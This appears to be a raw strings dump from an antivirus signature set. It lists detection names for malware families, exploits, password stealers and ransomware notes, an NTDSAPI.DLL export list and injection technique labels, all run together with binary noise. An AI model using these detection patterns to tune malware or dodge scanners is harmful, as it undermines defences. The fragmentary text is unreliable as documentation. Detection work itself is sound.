BRUTE:VBS:Feature:C:123 dHSTR:JAVA:Feature:M:688SIGATTR:Java:Throwable.getMessageBRUTE:VBS:Feature:M:762SCPT:PostScript_forallSIGATTR:Java:Long.parseLongHSTR:JAVA:Feature:C:634HSTR:JAVA:Feature:C:15HSTR:JAVA:Feature:C:614SIGATTR:Java:ByteArrayOutputStream.closeSIGATTR:Java:File.getAbsolutePathSIGATTR:Java:MessageDigest.updateSIGATTR:Java:AccessController.doPrivilegedSIGATTR:Java:Object.waitSIGATTR:Java:SecureRandom.nextBytesSIGATTR:Java:ObjectInputStream.defaultReadObjectHSTR:JAVA:Feature:C:144HSTR:JAVA:Feature:M:160BRUTE:VBS:Feature:M:783BRUTE:VBS:Feature:C:267HSTR:JAVA:Feature:C:284SCPT:Exploit:O97M/CVE-2017-11882.APR1!MTBSCPT:Exploit:O97M/CVE-2017-11882.YA7!MTBSCRIPT:Exploit:Win32/CVE-2015-1641-4BRUTE:VBS:Feature:C:793BRUTE:JAMSI:Feature:C:144SIGATTR:Java:Toolkit.getDefaultToolkitSCPT:RansomNoteCat3_19SIGATTR:Java:String.splitSIGATTR:Java:ObjectInputStream.readObjectSIGATTR:Java:Method.getReturnTypeHSTR:JAVA:Feature:C:548BRUTE:VBS:Feature:M:511SIGATTR:Java:String.valueOfSIGATTR:Java:Long.toStringSIGATTR:Java:Boolean.valueOfHSTR:JAVA:Feature:C:354BRUTE:VBS:Feature:M:706SIGATTR:Java:ByteBuffer.putIntSIGATTR:Java:Cipher.initBRUTE:VBS:Feature:C:43HSTR:JAVA:Feature:C:520BRUTE:VBS:Feature:M:283BRUTE:JAMSI:Feature:M:45BRUTE:VBS:Feature:C:689HSTR:JAVA:Feature:C:161HSTR:JAVA:Feature:C:200BRUTE:PDF:Feature:C:720BRUTE:VBS:Feature:M:675BRUTE:PDF:Feature:C:520flafisiXSIGATTR:Java:String.toCharArrayBRUTE:VBS:Feature:C:185Script:Phish:HTTPS/Mitargcro.S201AGGR:Phish:HTTPS/Mitargcro.S200BRUTE:VBS:Feature:C:435Trojan:HTML/Phish!attr02HSTR:JAVA:Feature:M:205BRUTE:VBS:Feature:M:150HSTR:JAVA:Feature:C:356SLF:MpCloudToVDMBloomFilter.ABRUTE:VBS:Feature:C:450BRUTE:VBS:Feature:C:753SIGATTR:Java:Hashtable.getHSTR:JAVA:Feature:C:367SCRIPT:Psloadlib.AHSTR:JAVA:Feature:C:96HSTR:JAVA:Feature:C:119SCPT:RansomNoteCat4_50SIGATTR:Java:DataOutputStream.writeByteHSTR:JAVA:Feature:C:517HSTR:JAVA:Feature:C:295BRUTE:VBS:Feature:M:349AGGR:Lua:JarClassFilesInsideGE25SIGATTR:Java:Field.getTypeSIGATTR:Java:Class.getPackageHSTR:JAVA:Feature:C:164BRUTE:PDF:Feature:M:589SIGATTR:Java:MessageDigest.getInstanceHSTR:JAVA:Feature:C:370SIGATTR:Java:String.startsWithBRUTE:PDF:Feature:C:178HSTR:JAVA:Feature:M:623BRUTE:VBS:Feature:C:295HSTR:JAVA:Feature:C:538SCPT:VBSExeSCPT:Adodb.vbsexeHSTR:JAVA:Feature:C:612HSTR:JAVA:Feature:C:145BRUTE:VBS:Feature:C:217SCPT:ClnWordsCat2_39HSTR:JAVA:Feature:M:622HSTR:JAVA:Feature:C:13BRUTE:JAMSI:Feature:C:303BRUTE:VBS:Feature:M:246AGGR:WebMailInEmailHSTR:JAVA:Feature:M:196SIGATTR:Java:Method.getDeclaringClassHSTR:JAVA:Feature:C:180HSTR:JAVA:Feature:C:259SCPT:PingSIGATTR:Java:String.containsSIGATTR:Java:InetAddress.getHostAddressBRUTE:VBS:Feature:M:110SIGATTR:Java:AudioFormat.getSampleRateSIGATTR:Java:JPanel.addSIGATTR:Java:AudioFormat.getFrameSizeHSTR:JAVA:Feature:C:482BRUTE:VBS:Feature:M:618ATTR:RPF:ZipZipExtBRUTE:LNK:Expert:Feature:47SIGATTR:Java:InputStream.closeSIGATTR:Java:Writer.writeBRUTE:JAMSI:Feature:M:66SCPT:HostnameBRUTE:VBS:Feature:M:137SCPT:TrojanDownloader:O97M/Obfuse.JQ1BRUTE:VBS:Feature:M:715SIGATTR:Java:System.nanoTimeHSTR:JAVA:Feature:C:564HSTR:JAVA:Feature:C:400Lua:JSOB.FileSizeHSTR:JAVA:Feature:C:286BRUTE:VBS:Feature:M:56BRUTE:VBS:Feature:M:395BRUTE:JAMSI:Expert:Feature:58BRUTE:VBS:Feature:C:354HSTR:JAVA:Feature:M:108HSTR:JAVA:Feature:M:675HSTR:JAVA:Feature:C:66BRUTE:VBS:Feature:C:163HSTR:JAVA:Feature:M:515BRUTE:VBS:Feature:C:644SIGATTR:Java:PrivilegedActionException.getExceptionSIGATTR:Java:System.getPropertySCPT:HPDockStationFirmware.p1HSTR:JAVA:Feature:C:70HSTR:JAVA:Feature:M:640SIGATTR:Java:DataBuffer.setElemSIGATTR:Java:Math.absBRUTE:VBS:Feature:M:766HSTR:JAVA:Feature:M:685BRUTE:VBS:Feature:M:310HSTR:JAVA:Feature:M:308SCPT:GeneralityExploitStrRare.CSIGATTR:Java:Character.toUpperCaseHSTR:JAVA:Feature:C:312HSTR:JAVA:Feature:M:45SIGATTR:Java:Container.addBRUTE:VBS:Feature:C:312HSTR:JAVA:Feature:C:588SIGATTR:Java:Math.sqrtHSTR:JAVA:Feature:C:628BRUTE:VBS:Feature:C:682BRUTE:JAMSI:Feature:M:224SIGATTR:Java:Cipher.doFinalHSTR:JAVA:Feature:C:512HSTR:JAVA:Feature:C:437BRUTE:VBS:Feature:C:761BRUTE:VBS:Feature:M:445BRUTE:VBS:Feature:M:548SIGATTR:Java:Class.getMethodHSTR:JAVA:Feature:C:509SIGATTR:Java:HttpURLConnection.setDoOutputSIGATTR:Java:InetAddress.getLocalHostSIGATTR:Java:LinkedList.isEmptySIGATTR:Java:IOException.printStackTraceBRUTE:PDF:Feature:C:222HSTR:JAVA:Feature:M:641HSTR:JAVA:Feature:M:223SIGATTR:Java:Reflect_Method.invokeBRUTE:PDF:Feature:M:417HSTR:JAVA:Feature:C:84SIGATTR:Java:String.indexOfSIGATTR:Java:HashMap.removeSCPT:VBSForEachSIGATTR:Java:BigInteger.toByteArrayBRUTE:VBS:Feature:C:95HSTR:JAVA:Feature:C:252SIGATTR:Java:Class.toStringHSTR:JAVA:Feature:C:646BRUTE:VBS:Feature:M:711SIGATTR:Java:IOException.toStringExceptionExtBRUTE:VBS:Feature:C:118BRUTE:VBS:Feature:C:282SCPT:RansomNoteCat4_30SIGATTR:Java:Reflect_Field.setBRUTE:VBS:Feature:C:437SCRIPT:FlashExp_writebyteSCRIPT:Exploit:SWF/Netis.B-2HSTR:JAVA:Feature:C:38BRUTE:JAMSI:Feature:C:93SIGATTR:Java:String.formatHSTR:JAVA:Feature:C:551HSTR:JAVA:Feature:C:581ML:LUA:FileSizeLE400.AHSTR:JAVA:Feature:C:329SIGATTR:Java:SecurityManager.checkPermissionSIGATTR:Java:OutputStream.writeHSTR:JAVA:Feature:M:8HSTR:JAVA:Feature:M:684SIGATTR:Java:Method.invokeBRUTE:Exploit:Java/CVE-2008-5353.C3BRUTE:VBS:Feature:M:544SCPT:LNK/EvalAttrHSTR:JAVA:Feature:C:601SIGATTR:Java:Field.setHSTR:JAVA:Feature:C:165HSTR:JAVA:Feature:C:151BRUTE:VBS:Feature:C:91SCPT:RansomNoteCat4_51SIGATTR:Java:Class.forNameSIGATTR:Java:DataOutputStream.writeBRUTE:JAMSI:Feature:C:266SIGATTR:Java:Class.getClassLoaderBRUTE:JAMSI:Feature:M:278AGGR:AlreadyExistInstallerAGGR:GenericInstallerFileHSTR:JAVA:Feature:C:61SIGATTR:Java:Math.logHSTR:JAVA:Feature:M:18BRUTE:VBS:Feature:C:113SCPT:O97M/Trickbot.VAR4!MTBSCPT:TrojanDownloader:O97M/Zloader.STO3BRUTE:PDF:Feature:M:728BRUTE:VBS:Feature:M:528SIGATTR:Java:Graphics2D.drawHSTR:JAVA:Feature:M:402Exploit:Java/CVE-2013-1493.INITBRUTE:JAMSI:Feature:C:79AGGR:ExcelSiorType.BSIGATTR:Java:ColorConvertOp.filterSIGATTR:Java:Integer.toStringLua:IsEnterpriseBRUTE:JAMSI:Feature:C:145SIGATTR:Java:Method.getParameterTypesHSTR:JAVA:Feature:C:244BRUTE:PDF:Feature:M:105ExcelSiorType.CHSTR:JAVA:Feature:M:243SCPT:PDF.HasImageSCRIPT:Psmarshal.AHSTR:JAVA:Feature:C:373BRUTE:VBS:Feature:C:227BRUTE:PDF:Feature:C:702SCPT:JS/BASE64.function.AAGGR:Lua:JarManifestSizeLT150BRUTE:VBS:Feature:C:576SCPT:JS/ReturnHSTR:JAVA:Feature:M:178BRUTE:JAMSI:Feature:C:41BRUTE:JAMSI:Feature:M:235Lua:FileInZipBRUTE:PDF:Feature:M:196BRUTE:VBS:Feature:C:577BRUTE:PDF:Feature:M:353BRUTE:JAMSI:Feature:C:133BRUTE:PDF:Feature:M:479BRUTE:VBS:Feature:M:84BRUTE:VBS:Feature:M:725BRUTE:VBS:Feature:C:714HSTR:JAVA:Feature:M:174SCRIPT:base64HSTR:JAVA:Feature:C:59SCPT:RansomNoteCat4_48Lua:FlagsForTechniqueTracking.ASIGATTR:Java:Math.sinSCPT:Linux/Trojan.mal_attr_ChmodToExecHSTR:JAVA:Feature:M:589HSTR:JAVA:Feature:C:130BRUTE:VBS:Feature:C:272HSTR:JAVA:Feature:C:74BRUTE:JAMSI:Feature:M:225BRUTE:VBS:Feature:M:458HSTR:JAVA:Feature:M:122SIGATTR:Java:Expression.getValueSIGATTR:Java:Thread.getContextClassLoaderHSTR:JAVA:Feature:C:404BRUTE:VBS:Feature:C:477HSTR:JAVA:Feature:C:500SIGATTR:Java:Integer.intValueHSTR:Trojan:Java/ZKMHSTR:JAVA:Feature:C:228SIGATTR:Java:ICC_Profile.getInstanceBRUTE:PDF:Feature:M:160BRUTE:VBS:Feature:C:540BRUTE:VBS:Feature:M:536HSTR:JAVA:Feature:C:502BRUTE:VBS:Feature:C:527BRUTE:JAMSI:Feature:C:1SIGATTR:Java:Socket.getInputStreamBRUTE:VBS:Feature:C:183BRUTE:PDF:Feature:C:57SIGATTR:Java:LinkedList.addBRUTE:VBS:Feature:C:292HSTR:JAVA:Feature:M:287HSTR:JAVA:Feature:M:220SCPT:TrojanDownloader:O97M/Qakbot.PJI6!MTBBRUTE:PDF:Feature:M:908BRUTE:VBS:Feature:M:817HSTR:JAVA:Feature:C:303BRUTE:PDF:Feature:M:153BRUTE:LNK:Expert:Feature:93SIGATTR:Java:Method.getModifiersSIGATTR:Java:Long.longValueBRUTE:PDF:Feature:M:162SCPT:VBSCCopyrightSCPT:JS/copyrightSCPT:GeneralityExploitStrRare.VSCPT:ClnWordsCat1_2BRUTE:VBS:Feature:M:431HSTR:JAVA:Feature:C:446BRUTE:VBS:Feature:M:102AGGR:Lua:JarMoreFilesInMetaInfBRUTE:PDF:Feature:C:154BRUTE:VBS:Feature:M:69BRUTE:PDF:Feature:M:648HSTR:JAVA:Feature:C:235SCPT:JS/licenseSCPT:VBSCLicenseSCPT:ClnWordsCat2_47SCRIPT:StringCmdExeBRUTE:VBS:Feature:M:212SCPT:RansomNoteCat4_34HSTR:JAVA:Feature:M:57BRUTE:PDF:Feature:M:810SCPT:RansomNoteCat4_2SCPT:RansomNoteCat1_3HSTR:JAVA:Feature:C:310BRUTE:JAMSI:Feature:M:109BRUTE:VBS:Feature:C:567HSTR:JAVA:Feature:M:411HSTR:JAVA:Feature:C:330BRUTE:VBS:Feature:M:546SIGATTR:Java:ByteBuffer.allocateSIGATTR:Java:Object.hashCodeBRUTE:VBS:Feature:C:518SIGATTR:Java:Double.parseDoubleSIGATTR:Java:LinkedList.iteratorSCPT:RansomNoteCat2_3HSTR:JAVA:Feature:C:63BRUTE:JAMSI:Feature:C:155SIGATTR:Java:Field.getHSTR:JAVA:Feature:M:508BRUTE:VBS:Feature:M:642HSTR:JAVA:Feature:C:237SIGATTR:Java:ByteBuffer.putSIGATTR:Java:PrintStream.printBRUTE:JAMSI:Feature:M:91HSTR:JAVA:Feature:C:24SCPT:RansomNoteCat2_14HSTR:JAVA:Feature:M:32HSTR:JAVA:Feature:C:85HSTR:JAVA:Feature:M:313BRUTE:VBS:Feature:C:368Lua:FileBaseFolderInCdriveHSTR:JAVA:Feature:M:352SIGATTR:Java:Reflect_Field.getHSTR:JAVA:Feature:C:291HSTR:JAVA:Feature:C:570HSTR:JAVA:Feature:C:208Exception:Masquerading.EABRUTE:VBS:Feature:M:204HSTR:JAVA:Feature:C:297BRUTE:JAMSI:Feature:C:49SCRIPT:FlashExp_blowfishSIGATTR:Java:Statement.executeSCPT:hiddenBRUTE:LNK:Expert:Feature:239SIGATTR:Java:Math.minBRUTE:JAMSI:Feature:C:134HSTR:JAVA:Feature:C:138BRUTE:JAMSI:Expert:Feature:63HSTR:JAVA:Feature:C:556SCPT:Phish:PHP/Loader.GGSIGATTR:Java:Character.isWhitespaceBRUTE:VBS:Feature:M:513BRUTE:JAMSI:Feature:C:234HSTR:JAVA:Feature:M:670SIGATTR:Java:WritableRaster.getDataBufferSIGATTR:Java:Object.notifyHSTR:JAVA:Feature:M:458BRUTE:VBS:Feature:C:116BRUTE:VBS:Feature:C:156ML:LUA:FileSizeLE5000.AHSTR:JAVA:Feature:C:183BRUTE:VBS:Feature:C:248BRUTE:LNK:Expert:Feature:28BRUTE:VBS:Feature:C:347BRUTE:VBS:Feature:C:346HSTR:JAVA:Feature:M:660HSTR:JAVA:Feature:M:46HSTR:JAVA:Feature:C:438SIGATTR:Java:Method.getNameBRUTE:Python/Leivion.B.LenHSTR:JAVA:Feature:M:124HSTR:JAVA:Feature:C:266BRUTE:PDF:Feature:C:555HSTR:JAVA:Feature:C:443ALF:AGGR:Vampa:99!mlSIGATTR:Java:FileOutputStream.writeBRUTE:VBS:Feature:M:677BRUTE:VBS:Feature:C:665HSTR:JAVA:Feature:C:64BRUTE:JAMSI:Feature:C:258HSTR:JAVA:Feature:C:345HSTR:JAVA:Feature:M:595BRUTE:VBS:Feature:C:209SCPT:Phish:PHP/Download.GGHSTR:JAVA:Feature:C:421SCPT:TrojanDownloader:O97M/Obfuse.PKV6!MTBSCPT:RansomNoteCat4_32BRUTE:VBS:Feature:C:580BRUTE:VBS:Feature:C:391BRUTE:VBS:Feature:M:685HSTR:JAVA:Feature:M:106BRUTE:VBS:Feature:C:441HSTR:JAVA:Feature:M:501BRUTE:PDF:Feature:C:305SIGATTR:Java:Socket.closeBRUTE:JAMSI:Feature:C:97SIGATTR:Java:File.lengthSIGATTR:Java:URLEncoder.encodeHSTR:JAVA:Feature:M:186BRUTE:LNK:Expert:Feature:109SIGATTR:Java:StringTokenizer.hasMoreTokensBRUTE:PDF:Feature:C:299HSTR:JAVA:Feature:C:466HSTR:JAVA:Feature:M:315SCPT:RansomNoteCat4_10HSTR:JAVA:Feature:C:197SCPT:RansomNoteCat2_9ML:LUA:FileSizeLE1000.ABRUTE:VBS:Feature:C:488HSTR:JAVA:Feature:M:69BRUTE:VBS:Feature:M:22ML:LUA:FileSizeLE2000.ABRUTE:VBS:Feature:C:708BRUTE:VBS:Feature:M:259SIGATTR:Java:Class.getConstructorSCPT:AutoItApi_IsArrayHSTR:JAVA:Feature:M:353HSTR:JAVA:Feature:M:209BRUTE:LNK:Expert:Feature:42BRUTE:VBS:Feature:C:311BRUTE:JAMSI:FuncN:13SIGATTR:Java:String.trimBRUTE:LNK:Expert:Feature:30SCPT:LNK/httpHSTR:JAVA:Feature:M:211BRUTE:PDF:Feature:M:431BRUTE:PDF:Feature:C:747HSTR:JAVA:Feature:M:249BRUTE:LNK:Expert:Feature:140BRUTE:VBS:Feature:C:18SIGATTR:Java:String.getBytesML:LUA:FileSizeLE80000.AHSTR:JAVA:Feature:M:27HSTR:JAVA:Feature:C:49SCPT:AmsiPatch.A4HSTR:JAVA:Feature:C:691HSTR:JAVA:Feature:C:540BRUTE:VBS:Feature:M:363SCRIPT:VBSRunAGGR:Lua:JarClassFilesInsideGE10BRUTE:VBS:Feature:C:142BRUTE:PDF:Feature:M:723HSTR:Zkm_DecoderBRUTE:VBS:Feature:C:646BRUTE:PDF:Feature:C:46BRUTE:JAMSI:Feature:C:187SIGATTR:Java:Class.getResourceBRUTE:VBS:Feature:C:221BRUTE:VBS:Feature:M:73SIGATTR:Java:System.exitHSTR:JAVA:Feature:M:322SIGATTR:Java:Throwable.printStackTraceBRUTE:JAMSI:Feature:C:10HSTR:JAVA:Feature:C:655BRUTE:JAMSI:Feature:M:46SCRIPT:StringBase64.ABRUTE:JAMSI:Feature:C:190SIGATTR:Java:Logger.getLoggerBRUTE:PDF:Feature:C:814HSTR:JAVA:Feature:M:11HSTR:JAVA:Feature:C:477SIGATTR:Java:Class.isArraySCPT:VBSBase64SIGATTR:Java:ByteArrayOutputStream.toByteArrayBRUTE:LNK:Expert:Feature:183ML:LUA:FileSizeLE40000.ABRUTE:PDF:Feature:C:790BRUTE:VBS:Feature:C:339SCPT:AutoItApi_StringBRUTE:PDF:Feature:C:145BRUTE:VBS:Feature:C:302HSTR:JAVA:Feature:C:575BRUTE:VBS:Feature:C:808BRUTE:VBS:Feature:M:281HSTR:JAVA:Feature:C:279BRUTE:VBS:Feature:C:78SIGATTR:Java:File.createNewFileSIGATTR:Java:String.compareToSIGATTR:Java:File.getParentFileSLF:Context/NonPeExtractedFileInArchive.B!jarLua:NonPeExtractedFileInArchive.BHSTR:JAVA:Feature:C:140BRUTE:PDF:Feature:M:553HSTR:JAVA:Feature:M:621HSTR:JAVA:Feature:C:362HSTR:JAVA:Feature:M:563HSTR:JAVA:Feature:M:254ALF:AGGR:Vampa:90!mlSIGATTR:Java:File.getPathALF:AGGR:Vampa:80!mlSIGATTR:Java:Arrays.fillHSTR:JAVA:Feature:M:111BRUTE:JAMSI:Feature:C:68HSTR:JAVA:Feature:C:654HSTR:JAVA:Feature:M:527HSTR:JAVA:Feature:M:555BRUTE:VBS:Feature:C:251SIGATTR:Java:DataOutputStream.writeIntHSTR:JAVA:Feature:M:121BRUTE:VBS:Feature:M:742SIGATTR:Java:Graphics.drawImageSIGATTR:Java:File.deleteSIGATTR:Java:Class.isPrimitiveHSTR:JAVA:Feature:M:377Lua:FileSizeLT2000SIGATTR:Java:InetAddress.getAddressBRUTE:VBS:Feature:M:151SCPT:ClnWordsCat2_13HSTR:JAVA:Feature:C:671BRUTE:PDF:Feature:M:444BRUTE:VBS:Feature:C:424Trojan:O97M/Donoff.Y4BRUTE:VBS:Feature:C:86BRUTE:PDF:Feature:M:632VirTool:Java/Obfuscator.AHSTR:JAVA:Feature:M:553BRUTE:PDF:Feature:M:140BRUTE:PDF:Feature:M:42SIGATTR:Java:Arrays.asListSIGATTR:Java:StackTraceElement.getMethodNameSIGATTR:Java:BufferedOutputStream.writeBRUTE:VBS:Feature:M:495HSTR:JAVA:Feature:M:261SIGATTR:Java:Class.getDeclaredFieldsLua:IsE5MachineSCRIPT:StringHttpsSIGATTR:Java:Float.floatValueBRUTE:LNK:Expert:Feature:29HSTR:JAVA:Feature:M:572SIGATTR:Java:Array.newInstanceSCPT:RansomNoteCat3_33BRUTE:PDF:Feature:C:351SIGATTR:Java:Object.toStringBRUTE:JAMSI:Feature:M:101BRUTE:VBS:Feature:C:403BRUTE:VBS:Feature:C:72HSTR:JAVA:Feature:M:250HSTR:JAVA:Feature:C:105BRUTE:VBS:Feature:C:63BRUTE:JAMSI:Feature:C:71HSTR:JAVA:Feature:C:215HSTR:JAVA:Feature:M:73SCPT:AutoItApi_SleepSCRIPT:StringDisplayName.ABRUTE:VBS:Feature:M:564BRUTE:VBS:Feature:C:250BRUTE:VBS:Feature:M:353SIGATTR:Java:File.getParentHSTR:JAVA:Feature:M:585SCPT:RansomNoteCat4_40BRUTE:VBS:Feature:M:799HSTR:JAVA:Feature:M:229SCPT:TrojanDownloader:O97M/Zloader.STO8BRUTE:VBS:Feature:C:49HSTR:JAVA:Feature:M:292SIGATTR:Java:File.mkdirsSIGATTR:Java:File.isFileSCPT:Backdoor:Php/Dirtelti.GG15SIGATTR:Java:OutputStream.flushBRUTE:VBS:Feature:C:360BRUTE:JAMSI:Feature:C:299BRUTE:Exploit:Java/CVE-2008-5353.C1SIGATTR:Java:HashMap.putBRUTE:JAMSI:Feature:C:186SCRIPT:PHP/GetEnv!MTBSIGATTR:Java:StringBuffer.reverseBRUTE:VBS:Feature:C:335BRUTE:VBS:Feature:M:158ML:LUA:FileSizeLE10000.AAGGR:Lua:JarClassFilesInsideGE50SIGATTR:Java:Exception.getMessageSIGATTR:Java:File.isDirectoryHSTR:JAVA:Feature:C:285SCPT:RansomNoteCat4_21SIGATTR:Java:PrintWriter.writeSCRIPT:CMDStringBRUTE:LNK:Expert:Feature:53BRUTE:VBS:Feature:C:519HSTR:JAVA:Feature:C:490HSTR:JAVA:Feature:C:129BRUTE:LNK:Expert:Feature:83SCPT:Backdoor:ASP/Dirtelti.K4!MTBSCRIPT:AMSITest2SCPT:Backdoor:ASP/Dirtelti.G6!MTBBRUTE:PDF:Feature:C:756BRUTE:LNK:Expert:Feature:136SCPT:LNK/FunAttrSIGATTR:Java:Statement.getMethodNameHSTR:JAVA:Feature:C:434HSTR:JAVA:Feature:C:380BRUTE:JAMSI:Feature:C:203BRUTE:VBS:Feature:M:345SCPT:Phish:PHP/Created.GGHSTR:JAVA:Feature:C:409SIGATTR:Java:StackTraceElement.getClassNameBRUTE:LNK:Expert:Feature:208BRUTE:JAMSI:Feature:C:243SIGATTR:Java:Math.randomSIGATTR:Java:Class.newInstanceSCPT:RansomNoteCat4_15BRUTE:VBS:Feature:C:338BRUTE:VBS:Feature:C:337HSTR:JAVA:Feature:M:332BRUTE:VBS:Feature:C:123    8 P e z   !\"#$%&'()*+,-./0123456789 :;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_ NTDSAPI.DLL DsCrackSpn2A DsCrackSpn2W DsCrackSpn3W DsLogEntry DsaopBind DsaopBindWithCred DsaopBindWithSpn DsaopExecuteScript DsaopPrepareScript DsaopUnBind DsAddSidHistoryA DsAddSidHistoryW DsBindA DsBindW DsBindWithCredA DsBindWithCredW DsBindWithSpnA DsBindWithSpnW DsClientMakeSpnForTargetServerA DsClientMakeSpnForTargetServerW DsCrackNamesA DsCrackNamesW DsCrackSpnA DsCrackSpnW DsCrackUnquotedMangledRdnA DsCrackUnquotedMangledRdnW DsFreeDomainControllerInfoA DsFreeDomainControllerInfoW DsFreeNameResultA DsFreeNameResultW DsFreePasswordCredentials DsFreeSchemaGuidMapA DsFreeSchemaGuidMapW DsFreeSpnArrayA DsFreeSpnArrayW DsGetDomainControllerInfoA DsGetDomainControllerInfoW DsGetRdnW DsGetSpnA DsGetSpnW DsInheritSecurityIdentityA DsInheritSecurityIdentityW DsIsMangledDnA DsIsMangledDnW DsIsMangledRdnValueA DsIsMangledRdnValueW DsListDomainsInSiteA DsListDomainsInSiteW DsListInfoForServerA DsListInfoForServerW DsListRolesA DsListRolesW DsListServersForDomainInSiteA DsListServersForDomainInSiteW DsListServersInSiteA DsListServersInSiteW DsListSitesA DsListSitesW DsMakePasswordCredentialsA DsMakePasswordCredentialsW DsMakeSpnA DsMakeSpnW DsMapSchemaGuidsA DsMapSchemaGuidsW DsQuoteRdnValueA DsQuoteRdnValueW DsRemoveDsDomainA DsRemoveDsDomainW DsRemoveDsServerA DsRemoveDsServerW DsReplicaAddA DsReplicaAddW DsReplicaConsistencyCheck DsReplicaDelA DsReplicaDelW DsReplicaFreeInfo DsReplicaGetInfo2W DsReplicaGetInfoW DsReplicaModifyA DsReplicaModifyW DsReplicaSyncA DsReplicaSyncAllA DsReplicaSyncAllW DsReplicaSyncW DsReplicaUpdateRefsA DsReplicaUpdateRefsW DsReplicaVerifyObjectsA DsReplicaVerifyObjectsW DsServerRegisterSpnA DsServerRegisterSpnW DsUnBindA DsUnBindW DsUnquoteRdnValueA DsUnquoteRdnValueW DsWriteAccountSpnA DsWriteAccountSpnW \tNTDSAPI.DLLDsCrackSpn2ADsCrackSpn2WDsCrackSpn3WDsLogEntryDsaopBindDsaopBindWithCredDsaopBindWithSpnDsaopExecuteScriptDsaopPrepareScriptDsaopUnBindDsAddSidHistoryADsAddSidHistoryWDsBindADsBindWDsBindWithCredADsBindWithCredWDsBindWithSpnADsBindWithSpnWDsClientMakeSpnForTargetServerADsClientMakeSpnForTargetServerWDsCrackNamesADsCrackNamesWDsCrackSpnADsCrackSpnWDsCrackUnquotedMangledRdnADsCrackUnquotedMangledRdnWDsFreeDomainControllerInfoADsFreeDomainControllerInfoWDsFreeNameResultADsFreeNameResultWDsFreePasswordCredentialsDsFreeSchemaGuidMapADsFreeSchemaGuidMapWDsFreeSpnArrayADsFreeSpnArrayWDsGetDomainControllerInfoADsGetDomainControllerInfoWDsGetRdnWDsGetSpnADsGetSpnWDsInheritSecurityIdentityADsInheritSecurityIdentityWDsIsMangledDnADsIsMangledDnWDsIsMangledRdnValueADsIsMangledRdnValueWDsListDomainsInSiteADsListDomainsInSiteWDsListInfoForServerADsListInfoForServerWDsListRolesADsListRolesWDsListServersForDomainInSiteADsListServersForDomainInSiteWDsListServersInSiteADsListServersInSiteWDsListSitesADsListSitesWDsMakePasswordCredentialsADsMakePasswordCredentialsWDsMakeSpnADsMakeSpnWDsMapSchemaGuidsADsMapSchemaGuidsWDsQuoteRdnValueADsQuoteRdnValueWDsRemoveDsDomainADsRemoveDsDomainWDsRemoveDsServerADsRemoveDsServerWDsReplicaAddADsReplicaAddWDsReplicaConsistencyCheckDsReplicaDelADsReplicaDelWDsReplicaFreeInfoDsReplicaGetInfo2WDsReplicaGetInfoWDsReplicaModifyADsReplicaModifyWDsReplicaSyncADsReplicaSyncAllADsReplicaSyncAllWDsReplicaSyncWDsReplicaUpdateRefsADsReplicaUpdateRefsWDsReplicaVerifyObjectsADsReplicaVerifyObjectsWDsServerRegisterSpnADsServerRegisterSpnWDsUnBindADsUnBindWDsUnquoteRdnValueADsUnquoteRdnValueWDsWriteAccountSpnADsWriteAccountSpnWV 1c4b325628ee3 \t%WINDIR% 25b385ad639b 25b385ad639bIncludesResearchData  InjectQueueUserAPC  25b3b8b261e4 25b3b8b261e4IncludesResearchData  InjectRemoteThread  !#TEL:TrojanDropper:O97M/Kitten.A u!P!#TEL:TrojanDropper:O97M/Kitten.A MpInternal_Lua:ThrottleAttribute.75000 'MpInternal_Lua:ThrottleAttribute.75000 M!#ALF:PWS:MSIL/Dcstl M!#ALF:PWS:MSIL/Dcstl~*#% M!#ALF:PWS:MSIL/Dcstl~*5 M!#ALF:PWS:MSIL/Dcstl~*~ M!#ALF:PWS:MSIL/Dcstl~* aM!#ALF:PWS:MSIL/Dcstl aM!#ALF:PWS:MSIL/Dcstl~* -Xm9Dj M!#ALF:PWS:MSIL/Dcstl~+ eM!#ALF:PWS:MSIL/Grmasi eM!#ALF:PWS:MSIL/Grmasi~,mE nR=maM!#ALF:PWS:MSIL/Echelon nR=maM!#ALF:PWS:MSIL/Echelon~, M!#ALF:PWS:MSIL/Echelon M!#ALF:PWS:MSIL/Echelon~, M!#ALF:PWS:MSIL/Stealer M!#ALF:PWS:MSIL/Stealer~-Fr M!#ALF:Worm:MSIL/Rowmuny M!#ALF:Worm:MSIL/Rowmuny~- M!#ALF:PWS:MSIL/Bahmajip M!#ALF:PWS:MSIL/Bahmajip~.5 M!#ALF:Trojan:MSIL/Wizrem M!#ALF:Trojan:MSIL/Wizrem~. sM!#ALF:VirTool:MSIL/Subti sM!#ALF:VirTool:MSIL/Subti~. M!#ALF:Worm:Win32/AutoRun M!#ALF:Worm:Win32/AutoRun~/\\ M!#ALF:Trojan:Win32/Tiggre M!#ALF:Trojan:Win32/Tiggre~/%G M!#ALF:Trojan:Win32/Swrort M!#ALF:Trojan:Win32/Swrort~/B6xe M!#ALF:Trojan:Win32/Sefnit M!#ALF:Trojan:Win32/Sefnit~/U M!#ALF:Trojan:Win32/Tiggre~/[Q M!#ALF:PWS:MSIL/HtmStealer M!#ALF:PWS:MSIL/HtmStealer~/s M!#ALF:Trojan:Win32/Masson M!#ALF:Trojan:Win32/Masson~/ M!#ALF:PWS:MSIL/HtmStealer~/ M!#ALF:VirTool:MSIL/Deimos~/ M!#ALF:Trojan:Win32/Tiggre~/  lM!#ALF:Trojan:Win32/Tiggre  lM!#ALF:Trojan:Win32/Tiggre~0L M!#ALF:Trojan:Win32/Dynamer M!#ALF:Trojan:Win32/Dynamer~0e M!#ALF:Backdoor:MSIL/Harsyn M!#ALF:Backdoor:MSIL/Harsyn~0n` *_YKF (M!#ALF:Ransom:Win32/Genasom (M!#ALF:Ransom:Win32/Genasom~0 M!#ALF:VirTool:Win32/Bymsei M!#ALF:VirTool:Win32/Bymsei~0 M!#ALF:Backdoor:MSIL/Draliz M!#ALF:Backdoor:MSIL/Draliz~0 shHBM!#ALF:Trojan:Win32/Bluteal shHBM!#ALF:Trojan:Win32/Bluteal~0 QUM!#ALF:VirTool:MSIL/Viemlod QUM!#ALF:VirTool:MSIL/Viemlod~0 M!#ALF:Trojan:Win32/Iepatch M!#ALF:Trojan:Win32/Iepatch~1` 7\\!fla^ M!#ALF:VirTool:MSIL/Injector M!#ALF:VirTool:MSIL/Injector~1e8= M!#ALF:VirTool:MSIL/Injector~1} M!#ALF:VirTool:MSIL/Injector~1 M!#ALF:Exploit:Win32/RpcDcom M!#ALF:Exploit:Win32/RpcDcom~1 M!#ALF:Exploit:Win32/RpcDcom~24 ;M!#ALF:TrojanSpy:MSIL/Stelega 